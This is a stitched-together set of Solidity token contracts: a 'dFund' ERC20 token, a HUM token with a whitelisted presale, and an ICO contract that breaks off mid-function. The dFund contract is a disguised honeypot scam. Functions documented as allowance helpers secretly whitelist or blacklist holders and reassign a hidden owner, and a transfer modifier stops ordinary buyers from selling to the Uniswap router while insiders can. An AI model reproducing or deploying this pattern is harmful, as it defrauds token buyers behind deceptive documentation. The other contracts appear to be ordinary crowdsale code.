mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract DFND is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _name = 'dFund'; _symbol = 'DFND'; _decimals = 18; _owner = msg.sender; _safeOwner = msg.sender; _mint(_owner, 1000*1e6*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }

True

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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title MultiOwnable */ contract MultiOwnable { address public root; mapping (address => address) public owners; // owner => parent of owner /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { root = msg.sender; owners[root] = root; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owners[msg.sender] != 0); _; } /** * @dev Adding new owners */ function newOwner(address _owner) onlyOwner external returns (bool) { require(_owner != 0); owners[_owner] = msg.sender; return true; } /** * @dev Deleting owners */ function deleteOwner(address _owner) onlyOwner external returns (bool) { require(owners[_owner] == msg.sender || (owners[_owner] != 0 && msg.sender == root)); owners[_owner] = 0; return true; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, MultiOwnable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } /** * @title HUMToken * @dev ERC20 HUMToken. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract HUMToken is MintableToken, BurnableToken { string public constant name = "HUMToken"; // solium-disable-line uppercase string public constant symbol = "HUM"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase, // 18 decimals is the strongly suggested default, avoid changing it uint256 public constant INITIAL_SUPPLY = 2500 * 1000 * 1000 * (10 ** uint256(decimals)); // 2,500,000,000 HUM bool public isUnlocked = false; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor(address _wallet) public { totalSupply_ = INITIAL_SUPPLY; balances[_wallet] = INITIAL_SUPPLY; emit Transfer(address(0), _wallet, INITIAL_SUPPLY); } modifier onlyTransferable() { require(isUnlocked || owners[msg.sender] != 0); _; } function transferFrom(address _from, address _to, uint256 _value) public onlyTransferable returns (bool) { return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public onlyTransferable returns (bool) { return super.transfer(_to, _value); } function unlockTransfer() public onlyOwner { isUnlocked = true; } } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } /** * @title IndividuallyCappedCrowdsale * @dev Crowdsale with per-user caps. */ contract IndividuallyCappedCrowdsale is Crowdsale { using SafeMath for uint256; mapping(address => uint256) public contributions; uint256 public individualCap; constructor(uint256 _individualCap) public { individualCap = _individualCap; } /** * @dev Returns the cap per a user. * @return Current cap for individual user */ function getUserCap() public view returns (uint256) { return individualCap; } /** * @dev Returns the amount contributed so far by a sepecific user. * @param _beneficiary Address of contributor * @return User contribution so far */ function getUserContribution(address _beneficiary) public view returns (uint256) { return contributions[_beneficiary]; } /** * @dev Extend parent behavior requiring purchase to respect the user's funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(contributions[_beneficiary].add(_weiAmount) <= individualCap); } /** * @dev Extend parent behavior to update user contributions * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } } /** * @title WhitelistedCrowdsale * @dev Crowdsale in which only whitelisted users can contribute. */ contract WhitelistedCrowdsale is Crowdsale, MultiOwnable { mapping(address => bool) public whitelist; /** * @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract. */ modifier isWhitelisted(address _beneficiary) { require(whitelist[_beneficiary]); _; } /** * @dev Adds single address to whitelist. * @param _beneficiary Address to be added to the whitelist */ function addToWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = true; } /** * @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing. * @param _beneficiaries Addresses to be added to the whitelist */ function addManyToWhitelist(address[] _beneficiaries) external onlyOwner { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } /** * @dev Removes single address from whitelist. * @param _beneficiary Address to be removed to the whitelist */ function removeFromWhitelist(address _beneficiary) external onlyOwner { whitelist[_beneficiary] = false; } /** * @dev Extend parent behavior requiring beneficiary to be in whitelist. * @param _beneficiary Token beneficiary * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract HUMPresale is WhitelistedCrowdsale, IndividuallyCappedCrowdsale { uint256 public constant minimum = 100000000000000000; // 0.1 ether bool public isOnSale = false; mapping(address => uint256) public bonusTokens; uint256 public bonusPercent; address[] public contributors; event DistrubuteBonusTokens(address indexed sender); event Withdraw(address indexed _from, uint256 _amount); constructor ( uint256 _rate, uint256 _bonusPercent, address _wallet, HUMToken _token, uint256 _individualCapEther ) public Crowdsale(_rate, _wallet, _token) IndividuallyCappedCrowdsale(_individualCapEther.mul(10 ** 18)) { bonusPercent = _bonusPercent; } function modifyTokenPrice(uint256 _rate) public onlyOwner { rate = _rate; } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { super._processPurchase(_beneficiary, _tokenAmount); if (bonusPercent > 0) { if (contributions[_beneficiary] == 0) { contributors.push(_beneficiary); } bonusTokens[_beneficiary] = bonusTokens[_beneficiary].add(_tokenAmount.mul(bonusPercent).div(100)); } } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) { super._preValidatePurchase(_beneficiary, _weiAmount); bool isOverMinimum = _weiAmount >= minimum; require(isOverMinimum && isOnSale); } function openSale() public onlyOwner { require(!isOnSale); isOnSale = true; } function closeSale() public onlyOwner { require(isOnSale); if (token.balanceOf(this) > 0) { withdrawToken(); } isOnSale = false; } function withdrawToken() public onlyOwner { uint256 balanceOfThis = token.balanceOf(this); token.transfer(wallet, balanceOfThis); emit Withdraw(wallet, balanceOfThis); } function distributeBonusTokens() public onlyOwner { require(!isOnSale); for (uint i = 0; i < contributors.length; i++) { if (bonusTokens[contributors[i]] > 0) { token.transferFrom(wallet, contributors[i], bonusTokens[contributors[i]]); bonusTokens[contributors[i]] = 0; } } emit DistrubuteBonusTokens(msg.sender); } function getContributors() public view onlyOwner returns(address[]) { return contributors; } /// @dev get addresses who has bonus tokens /// @return Returns array of addresses. function getBonusList() public view onlyOwner returns(address[]) { address[] memory contributorsTmp = new address[](contributors.length); uint count = 0; uint i; for (i = 0; i < contributors.length; i++) { if (bonusTokens[contributors[i]] > 0) { contributorsTmp[count] = contributors[i]; count += 1; } } address[] memory _bonusList = new address[](count); for (i = 0; i < count; i++) { _bonusList[i] = contributorsTmp[i]; } return _bonusList; } /// @dev distribute bonus tokens to addresses who has bonus tokens /// @param _bonusList array of addresses who has bonus tokens. function distributeBonusTokensByList(address[] _bonusList) public onlyOwner { require(!isOnSale); for (uint i = 0; i < _bonusList.length; i++) { if (bonusTokens[_bonusList[i]] > 0) { token.transferFrom(wallet, _bonusList[i], bonusTokens[_bonusList[i]]); bonusTokens[_bonusList[i]] = 0; } } emit DistrubuteBonusTokens(msg.sender); } }

True

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pragma solidity 0.4.18; contract owned { address public owner; // The one who sent the contract to the blockchain, will automatically become the owner of the contract function owned() internal { owner = msg.sender; } // The function containing this modifier can only call the owner of the contract modifier onlyOwner { require(owner == msg.sender); _; } // Change the owner of the contract function changeOwner(address newOwner) onlyOwner public { owner = newOwner; } } // Functions for safe operation with input values (subtraction and addition) library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ERC20 interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256 balance); function allowance(address owner, address spender) public constant returns (uint256 remaining); function transfer(address to, uint256 value) public returns (bool success); function transferFrom(address from, address to, uint256 value) public returns (bool success); function approve(address spender, uint256 value) public returns (bool success); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract AdvancedToken is ERC20, owned { using SafeMath for uint256; // Stores the balances of all holders of the tokens, including the owner of the contract mapping (address => uint256) internal balances; // The event informs that N tokens have been destroyed event Burn(address indexed from, uint256 value); // Creates the required number of tokens on the specified account function mintTokens(address _who, uint256 amount) internal returns(bool) { require(_who != address(0)); totalSupply = totalSupply.add(amount); balances[_who] = balances[_who].add(amount); Transfer(this, _who, amount); return true; } // Burns tokens on the contract, without affecting the token holders and the owner of the contract function burnTokens(uint256 _value) public onlyOwner { require(balances[this] > 0); balances[this] = balances[this].sub(_value); totalSupply = totalSupply.sub(_value); Burn(this, _value); } // Withdraws tokens from the contract if they accidentally or on purpose was it placed there function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] > 0 && balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } // Withdraws all the ether from the contract to the owner account function withdrawEther(uint256 _value) public onlyOwner { require(this.balance >= _value); owner.transfer(_value); } } contract ICO is AdvancedToken { using SafeMath for uint256; enum State { Presale, waitingForICO, ICO, Active } State public contract_state = State.Presale; uint256 private startTime; uint256 private presaleMaxSupply; uint256 private marketMaxSupply; event NewState(State state); // Purchasing tokens is only allowed for Presale and ICO contract states modifier crowdsaleState { require(contract_state == State.Presale || contract_state == State.ICO); _; } // Call functions transfer transferFrom and approve, is only allowed with Active state of the contract modifier activeState { require(contract_state == State.Active); _; } // The initialization values when the contract has been mined to the blockchain function ICO() internal { startTime = 1528205440; // pomeriggio presaleMaxSupply = 0 * 1 ether; marketMaxSupply = 450000000 * 1 ether; } // The function of purchasing tokens function () private payable crowdsaleState { require(msg.value >= 0.0001 ether); require(now >= startTime); uint256 currentMaxSupply; uint256 tokensPerEther = 5000; uint256 _tokens = tokensPerEther * msg.value; uint256 bonus = 0; // PRE-SALE calculation of bonuses // NOTE: PRE-SALE will be not used for TESTERIUM2 if (contract_state == State.Presale) { // PRE-SALE supply limit currentMaxSupply = presaleMaxSupply; // For the tests replace days to minutes if (now <= startTime + 1 days) { bonus = 25; } else if (now <= startTime + 2 days) { bonus = 20; } // ICO supply limit } else { currentMaxSupply = marketMaxSupply; } _tokens += _tokens * bonus / 100; uint256 restTokens = currentMaxSupply - totalSupply; // If supplied tokens more that the rest 